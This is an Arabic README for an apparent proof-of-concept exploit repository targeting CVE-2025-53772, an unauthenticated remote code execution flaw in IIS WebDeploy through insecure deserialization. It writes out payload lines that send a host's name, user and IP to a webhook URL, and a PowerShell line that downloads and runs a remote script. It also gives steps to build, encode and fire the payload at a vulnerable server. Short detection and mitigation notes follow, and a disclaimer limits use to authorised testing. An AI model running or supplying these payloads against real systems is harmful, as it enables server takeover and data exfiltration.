CVE-2025-53772 - استغلال RCE في IIS WebDeploy

يحتوي هذا المستودع على استغلال إثبات المفهوم (PoC) لثغرة CVE-2025-53772، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (Remote Code Execution - RCE) في IIS WebDeploy عبر إلغاء التسلسل غير الآمن.

⚠️ إخلاء مسؤولية

هذه الأداة مخصصة للأغراض التعليمية واختبارات الأمان المصرح بها فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.

🔧 الإعداد السريع

1. تخصيص الحمولة

قم بتعديل الحمولة في ملف poc.cs في السطرين 18-19 لتحديد الإجراء المستهدف (action): csharp// Replace with your webhook URL and desired payload

set.Add("cmd.exe");
set.Add("/c curl -X POST https://webhook.site/YOUR-WEBHOOK-ID -H \"Content-Type: application/json\" -d \"{\\\"hostname\\\":\\\"%COMPUTERNAME%\\\",\\\"user\\\":\\\"%USERNAME%\\\",\\\"ip\\\":\\\"$(curl -s ifconfig.me)\\\",\\\"exploit\\\":\\\"CVE-2025-53772\\\",\\\"timestamp\\\":\\\"%DATE% %TIME%\\\"}\"");

📋 أمثلة على الحمولات

جمع المعلومات (موصى به):

set.Add("-Command \"$hostname=$env:COMPUTERNAME; $user=$env:USERNAME; $ip=(Invoke-RestMethod -Uri 'https://ipinfo.io/ip' -UseBasicParsing); $body=@{hostname=$hostname;user=$user;ip=$ip;exploit='CVE-2025-53772';timestamp=(Get-Date)} | ConvertTo-Json; Invoke-RestMethod -Uri 'https://webhook.site/YOUR-WEBHOOK-ID' -Method Post -Body $body -ContentType 'application/json'\"");

تنفيذ أمر بسيط:

set.Add("/c calc.exe");  // Opens calculator

صدفة عكسية (متقدمة):

set.Add("-Command \"IEX (New-Object Net.WebClient).DownloadString('http://YOUR-SERVER/shell.ps1')\"");

2. توليد حمولة الاستغلال

سيقوم GitHub Action تلقائيًا بتجميع الـ PoC وإنشاء الحمولة المشفرة بنظام Base64:

• ادفع تغييراتك لتشغيل GitHub Action
• انتقل إلى تبويب Actions في مستودعك
• انقر على أحدث تشغيل لسير العمل
• ابحث عن الحمولة المُولّدة في مخرجات وحدة التحكم:

3. نشر الاستغلال

استخدم الحمولة المُولّدة بنظام Base64 ضد نقطة نهاية IIS WebDeploy المعرضة للخطر:

🎯 تفاصيل الثغرة

معرّف CVE: CVE-2025-53772

البرنامج المتأثر: IIS WebDeploy (إصدارات متعددة) نوع الثغرة: إلغاء تسلسل غير آمن يؤدي إلى RCE متجه الهجوم: عن بُعد، بدون مصادقة الخطورة: حرجة

🛠️ التجميع اليدوي (اختياري)

إذا كنت تفضل التجميع محليًا بدلاً من استخدام GitHub Actions: bash# Windows with .NET Framework C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe poc.cs poc.exe > payload.txt

أو باستخدام Visual Studio

csc poc.cs poc.exe

📡 إعداد Webhook

• انتقل إلى webhook.site للحصول على رابط webhook مجاني
• استبدل YOUR-WEBHOOK-ID في الحمولة بمعرّفك الفريد
• راقب الطلبات الواردة لرؤية نتائج تنفيذ الاستغلال

🔍 الاكتشاف والتخفيف

الاكتشاف:

• راقب أنشطة إلغاء التسلسل غير المعتادة الخاصة بـ BinaryFormatter
• ابحث عن عمليات spawn مشبوهة من عمليات عمل IIS
• مراقبة الشبكة لاتصالات صادرة غير متوقعة

التخفيف:

• قم بتحديث IIS WebDeploy إلى أحدث إصدار مصحح
• قم بتنفيذ التحقق من صحة الإدخال وتنظيفه
• استخدم قوائم السماح لأنواع إلغاء التسلسل
• نفّذ عزل الشبكة والمراقبة

📚 المراجع

• تفاصيل CVE-2025-53772
• نشرة أمان Microsoft
• قاعدة بيانات الثغرات NIST